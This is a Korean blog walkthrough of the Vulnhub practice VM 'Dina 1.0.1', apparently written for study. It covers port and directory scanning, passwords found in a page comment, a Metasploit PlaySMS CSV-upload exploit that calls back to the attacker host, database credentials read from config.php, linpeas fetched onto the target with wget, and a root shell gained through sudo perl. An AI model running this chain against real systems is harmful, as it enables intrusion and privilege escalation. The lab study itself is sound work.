Vulnhub

[Vulnhub] Dina: 1.0.1 Walkthrough

jeff_kim 2024. 6. 13. 18:58

https://www.vulnhub.com/entry/dina-101,200/ 

 

Dina: 1.0.1

This mentions the name of this release, when it was released, who made it, a link to 'series' and a link to the homepage of the release. It's common for an author to release multiple 'scenarios', making up a 'series' of machines to attack.

www.vulnhub.com

시나리오 모의해킹을 공부하고 연습하기 위해서 수많은 ctf, wargame 사이트 중에서 제가 선택한 사이트는 vulnhub 입니다. ctf에서 출제된 문제들을 VM으로 제공하는 사이트인데 찾아보니 제가 공부하기에 좋을 것 같다고 판단해 새로운 시작을 해보려합니다.

 

실습 환경 : VMware Workstation (실습 VM), VirtualBox(Kali linux)

OS : Kali linux

 

실습 환경 구축

우선 실습 VM인 Dina: 1.0.1 이미지 파일을 다운받아서 VMware Workstation에서 실행시킨 후 IP를 확인해야한다.

Guest 계정과 touhid 계정은 비밀번호를 입력해야 접속이 가능하고 Guest Session은 바로 접속이 가능해서 로그인 한 후에 터미널에서  ip를 확인해 공격자 PC 인 칼리 리눅스와 동일한 IP 대역대에 있는지 확인한다. 이후 다른 실습을 할때에는 DHCP로 인해서 자동 IP 할당이 되니 이 환경에서 잘된다면 다른 환경에서도 잘되는 것으로 판단.

 

저는 이전에 쓰던 kali linux를 VirtualBox 에서 구성해서 사용하고 있었으므로 VMware Workstaion 브릿지 네트워크에서 잡히는 네트워크 대역대를 확인 후 Kail Linux에서 해당 네트워크 인터페이스를 추가하여 동일 IP 대역대로 접근 하였습니다.

 

정보 수집

우선 Nmap 툴을 이용하여 대상 호스트가 잘 동작중인지 확인한다.

└─$ sudo nmap -sn 192.168.45.0/24                                                                                        
...
Nmap scan report for 192.168.45.243
Host is up (0.00038s latency).
MAC Address: 00:0C:29:10:53:59 (VMware)
Nmap scan report for 192.168.45.219
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 1.95 seconds

4개의 호스트가 나오고 대상 호스트는 192.168.45.243 IP를 가지고 있는 것으로 확인했고, 포트스캐닝을 진행한다.

 

└─$ sudo nmap -p- --max-retries 1 --min-rate 2000 -Pn -n --open 192.168.45.243 -oA tcpAll
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-13 17:11 KST
Nmap scan report for 192.168.45.243
Host is up (0.00013s latency).
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE
80/tcp open  http
MAC Address: 00:0C:29:10:53:59 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 2.99 seconds

-p- : 모든 포트에 대해서 스캔해줘

--max-retries 1 : 최대 재시도 횟수는 1

--min-rate 2000 : 포트 스캐닝 속도를 2000으로 설정해줘 (DoS 공격 예방)

-Pn : host discovery 해제

--open : 열려있는 포트만

-oA tcpAll : xml, gnmap, nmap 파일 확장자를 가진 tcpAll 이라는 파일 이름으로 출력해서 저장해줘

등등 자주 사용하는 Nmap의 옵션들이다. Nmap은 기본적으로 CONNECT Scan을 진행한다 하지만 앞에 sudo를 붙여주면 -sS 옵션을 붙여주지 않아도 기본으로 SYN Scan을 진행한다. 하지만 주의해야할 점은 SYN Scan이 CONNECT Scan 보다 빠르게 진행하여 대상 호스트에 DoS 공격을 일으킬 수 있으니 --min-rate 라던지 다양한 옵션을 잘 활용해서 사용해 줘야한다

 

다시 정보 수집으로 돌아가서 현재 대상호스트에서는 80번 포트 http 서비스가 열려있는 것을 확인했고, Nmap의 기본 스크립트 및 서비스 배너그래빙을 확인하기 위해서 -sV(네트워크 서비스 배너그래빙), -sC(Nmap 기본 스크립트 옵션) 옵션을 추가해서 자세한 정보를 수집한다.

 

└─$ sudo nmap -p 80 --max-retries 1 --min-rate 2000 -sV -sC -Pn -n --open 192.168.45.243 -oA tcpDetailed                 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-13 17:19 KST
Nmap scan report for 192.168.45.243
Host is up (0.00032s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.2.22 ((Ubuntu))
|_http-title: Dina
|_http-server-header: Apache/2.2.22 (Ubuntu)
| http-robots.txt: 5 disallowed entries 
|_/ange1 /angel1 /nothing /tmp /uploads
MAC Address: 00:0C:29:10:53:59 (VMware)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.83 seconds

 

자세한 정보 수집 결과 Apache httpd 2.2.22 버전을 사용중이고 robotx.txt가 있는데 5개의 disallowed 가 있다고 한다.

그 5개는 /ange1 /angel1 /nothing /tmp /uploads 등이 있다.

 

웹사이트 접속이 가능하니 공격자 PC 에서 접속을 한번 해본다

 

웹(80)

첫 웹 사이트 랜딩페이지 이다. 뭔가 천사에 대한 내용이,...적혀있다.

페이지 소스에서는 별다른 특이점이 없다.

정보 수집에서 확인했던 /robots.txt에 들어가본다. 

Nmap을 통해 정보수집을 하더라도 거짓 양성 반응일 수도 있으니 직접 확인하는 것을 추천한다.

/nothing

/nothing 엔드포인트이다. 페이지 소스를 확인해보니

<!--
#my secret pass
freedom
password
helloworld!
diana
iloveroot
-->

아주 흥미로운 것을 발견했다.

일단 잘 체크해두자 어쩌면 비밀번호 브루트포싱을 진행할때 유용하게 사용될 수도 있기 때문에 리스트파일을 하나 작성해서 만들어 놓는다.

 

나머지 disallowed 된 경로를 확인해봤는데 별다른 특이점이 없다.

 

취약점 진단

웹 취약점을 진단하기 위해서 gobuster툴을 이용하여 디렉터리 브루트포싱을 진행한다

└─$ gobuster dir -u http://192.168.45.243/ -w /usr/share/dirb/wordlists/common.txt -t 20
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.45.243/
[+] Method:                  GET
[+] Threads:                 20
[+] Wordlist:                /usr/share/dirb/wordlists/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/cgi-bin/             (Status: 403) [Size: 290]
/.htpasswd            (Status: 403) [Size: 291]
/.htaccess            (Status: 403) [Size: 291]
/.hta                 (Status: 403) [Size: 286]
/index                (Status: 200) [Size: 3618]
/index.html           (Status: 200) [Size: 3618]
/robots.txt           (Status: 200) [Size: 102]
/robots               (Status: 200) [Size: 102]
/secure               (Status: 301) [Size: 317] [--> http://192.168.45.243/secure/]
/server-status        (Status: 403) [Size: 295]
/tmp                  (Status: 301) [Size: 314] [--> http://192.168.45.243/tmp/]
/uploads              (Status: 301) [Size: 318] [--> http://192.168.45.243/uploads/]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================

디렉터리 브루트포싱 결과 중에 유독 끌리는 /secure 가 있는데 바로 접속해본다. 나머지는 정보 수집때 확인했던 것들이니 특이점이 없다.

/secure

 

역시는 역시다. 파일을 다운 받아서 확인해본다.

 

7z을 이용해서 아카이브를 풀려고하니 password가 있다

페이지 소스에서 얻었던 freedom을 이용하여 password를 푸니 바로 풀렸다.

수월하게 잘 흘러가고있다.

위에서 얻은 정보로 접속한 엔드포인트이다. username은 위에서 알려줬기 때문에 password만 찾으면 된다.

 

몇가지 얻은 비밀번호가 아주 유용하게 이용되고 있다. 각자 찾아보시길!!

이 페이지에서 많은 기능이 있는데 파일을 보낼수 있는 기능이 있다. 공개 취약점이 있는지 확인하기 위해서 searchsploit 툴을 이용해서 공개 취약점도 확인해본다

 

└─$ searchsploit playsms
--------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                             |  Path
--------------------------------------------------------------------------------------------------------------------------- ---------------------------------
PlaySMS - 'import.php' (Authenticated) CSV File Upload Code Execution (Metasploit)                                         | php/remote/44598.rb
PlaySMS - index.php Unauthenticated Template Injection Code Execution (Metasploit)                                         | php/remote/48335.rb
PlaySms 0.7 - SQL Injection                                                                                                | linux/remote/404.pl
PlaySms 0.8 - 'index.php' Cross-Site Scripting                                                                             | php/webapps/26871.txt
PlaySms 0.9.3 - Multiple Local/Remote File Inclusions                                                                      | php/webapps/7687.txt
PlaySms 0.9.5.2 - Remote File Inclusion                                                                                    | php/webapps/17792.txt
PlaySms 0.9.9.2 - Cross-Site Request Forgery                                                                               | php/webapps/30177.txt
PlaySMS 1.4 - '/sendfromfile.php' Remote Code Execution / Unrestricted File Upload                                         | php/webapps/42003.txt
PlaySMS 1.4 - 'import.php' Remote Code Execution                                                                           | php/webapps/42044.txt
PlaySMS 1.4 - 'sendfromfile.php?Filename' (Authenticated) 'Code Execution (Metasploit)                                     | php/remote/44599.rb
PlaySMS 1.4 - Remote Code Execution                                                                                        | php/webapps/42038.txt
PlaySMS 1.4.3 - Template Injection / Remote Code Execution                                                                 | php/webapps/48199.txt
--------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

playsms 정보 수집을 하는 도중에 버전에 대해선 알지 못했는데 제일 위의 취약점을 보면 csv file upload code execution 취약점이 있다.

metasploit을 이용해야 하며, 권한이 있어야 가능하다고 한다. 나는 로그인을 성공했기 때문에 msfconsole 툴을 이용하여 익스플로잇을 진행해본다

 

익스플로잇

내가 익스플로잇에 사용할 스크립트는 0번이다.

search playsms
use 0
options

msf6 exploit(multi/http/playsms_uploadcsv_exec) > set username touhid
username => touhid
msf6 exploit(multi/http/playsms_uploadcsv_exec) > set password diana
password => diana
msf6 exploit(multi/http/playsms_uploadcsv_exec) > set rhosts 192.168.45.243
rhosts => 192.168.45.243
msf6 exploit(multi/http/playsms_uploadcsv_exec) > set lhost 192.168.45.219
lhost => 192.168.45.219
msf6 exploit(multi/http/playsms_uploadcsv_exec) > set targeturi /SecreTSMSgatwayLogin
targeturi => /SecreTSMSgatwayLogin
msf6 exploit(multi/http/playsms_uploadcsv_exec) > exploit

대상 호스트로 초기 침투에 성공했다. 후속 정보 수집을 하기 전에 중요한 설정 파일을 우선 확인한다. config.php 파일이 있었고 그 파일을 확인한다.

<?php                                                                                                                                                        
// PHP PEAR DB compatible database engine:                                                                                                                   
// mysql, mysqli, pgsql, odbc and others supported by PHP PEAR DB                                                                                            
$core_config['db']['type'] = 'mysqli';          // database engine                                                                                           
$core_config['db']['host'] = 'localhost';       // database host/server                                                                                      
$core_config['db']['port'] = '3306';    // database port                                                                                                     
$core_config['db']['user'] = 'root';    // database username
$core_config['db']['pass'] = 'hello@mysql';     // database password
$core_config['db']['name'] = 'playsms'; // database name

완전 빙고다!!

데이터베이스에 대한 정보를 획득했다. 데이터베이스에 접속해본다.

데이터베이스에 접근은 성공했지만 권한 상승할만한 정보가 없어서 후속 정보 수집을 통해서 권한 상승을 시도한다.

초기 침투 후속 정보 수집

공격자 kali linux에서 linpeas.sh를 다운받은 후에 대상 호스트에서 가용성을 해하지 않는 범위 내에서 스크립트를 실행한 후에 후속 정보 수집을 실시한다. linpeas는 이전에 다운 받아져있는 파일을 사용했다.

#Kali linux
└─$ python3 -m http.server 1234
Serving HTTP on 0.0.0.0 port 1234 (http://0.0.0.0:1234/) ...

# 대상 호스트
wget http://192.168.45.219:1234/linpeas.sh 
--2024-06-13 14:49:10--  http://192.168.45.219:1234/linpeas.sh
Connecting to 192.168.45.219:1234... connected.
HTTP request sent, awaiting response... 200 OK
Length: 860323 (840K) [text/x-sh]
Saving to: `linpeas.sh'

     0K .......... .......... .......... .......... ..........  5% 3.71M 0s
    50K .......... .......... .......... .......... .......... 11% 93.9M 0s
   100K .......... .......... .......... .......... .......... 17% 58.6M 0s
   150K .......... .......... .......... .......... .......... 23%  120M 0s
   200K .......... .......... .......... .......... .......... 29% 76.5M 0s
   250K .......... .......... .......... .......... .......... 35% 81.5M 0s
   300K .......... .......... .......... .......... .......... 41% 12.0M 0s
   350K .......... .......... .......... .......... .......... 47%  653M 0s
   400K .......... .......... .......... .......... .......... 53%  566M 0s
   450K .......... .......... .......... .......... .......... 59%  608M 0s
   500K .......... .......... .......... .......... .......... 65% 31.9M 0s
   550K .......... .......... .......... .......... .......... 71%  128M 0s
   600K .......... .......... .......... .......... .......... 77%  112M 0s
   650K .......... .......... .......... .......... .......... 83%  477M 0s
   700K .......... .......... .......... .......... .......... 89%  301M 0s
   750K .......... .......... .......... .......... .......... 95%  408M 0s
   800K .......... .......... .......... ..........           100%  401M=0.02s

2024-06-13 14:49:10 (35.3 MB/s) - `linpeas.sh' saved [860323/860323]

물론 가용성을 해치지 않기 위해서 운영중인 웹 디렉터리를 이용하지 않고 /dev/shm 디렉터리에 다운받고 linpeas를 실행했다. 

후속 정보 수집을 하는 이유는 권한상승을 통해 관리자 권한을 획득하기 위함이다.

아래는 linpeas를 이용해 얻은 취약점이다

 

아래는 간단한 정보를 얻을 수 있는 수동 정보 수집 명령어 이다

# SUID 설정된 바이너리 확인
find / -perm -4000 2> /dev/null
/usr/lib/openssh/ssh-keysign
/usr/lib/pt_chown
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1 
/usr/lib/eject/dmcrypt-get-device                                             
/usr/bin/sudoedit                                                             
/usr/bin/lppasswd                                                             
/usr/bin/traceroute6.iputils                                                  
/usr/bin/newgrp                                                               
/usr/bin/at                                                                   
/usr/bin/pkexec                                                               
/usr/bin/sudo                                                                 
/usr/bin/mtr                                                                  
/usr/bin/passwd
/usr/bin/gpasswd                                                              
/usr/bin/chsh 
/usr/bin/arping                                                                                                                                              
/usr/bin/X
/usr/bin/chfn                                                                 
/usr/sbin/pppd                   
/usr/sbin/uuidd
/bin/ping6     
/bin/umount
/bin/mount
/bin/ping
/bin/su 
/bin/fusermount

# sudo NOPASSWD 설정된 바이너리
sudo -l        

Matching Defaults entries for www-data on this host:                          
    env_reset,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin                                                                            
                                       
User www-data may run the following commands on this host:                    
    (ALL) NOPASSWD: /usr/bin/perl

sudo를 이용하는데 비밀번호 없이 사용가능한 바이너리가 perl 이다 이 바이너리를 이용하여 관리자 권한을 얻기 위해서 필요한 정보는 GTFObins 사이트에서 얻을 수 있다는점 참고하면 된다.

sudo perl -e 'exec "/bin/bash";'          

id; whoami; ip a
uid=0(root) gid=0(root) groups=0(root)
root
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue state UNKNOWN 
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1000
    link/ether 00:0c:29:10:53:59 brd ff:ff:ff:ff:ff:ff
    inet 192.168.45.243/24 brd 192.168.45.255 scope global eth0
    inet6 fe80::20c:29ff:fe10:5359/64 scope link 
       valid_lft forever preferred_lft forever

 

이렇게 관리자 권한 까지 획득을 했다.

 

하나 잊지 말아야할 것.!! 바로 플래그 값이다.

root@Dina:~# cat flag.txt
cat flag.txt
________                                                _________
\________\--------___       ___         ____----------/_________/
    \_______\----\\\\\\   //_ _ \\    //////-------/________/
        \______\----\\|| (( ~|~ )))  ||//------/________/
            \_____\---\\ ((\ = / ))) //----/_____/
                 \____\--\_)))  \ _)))---/____/
                       \__/  (((     (((_/
                          |  -)))  -  ))


root password is : <숨김>
easy one .....but hard to guess.....
but i think u dont need root password......
u already have root shelll....


CONGO.........
FLAG : <숨김>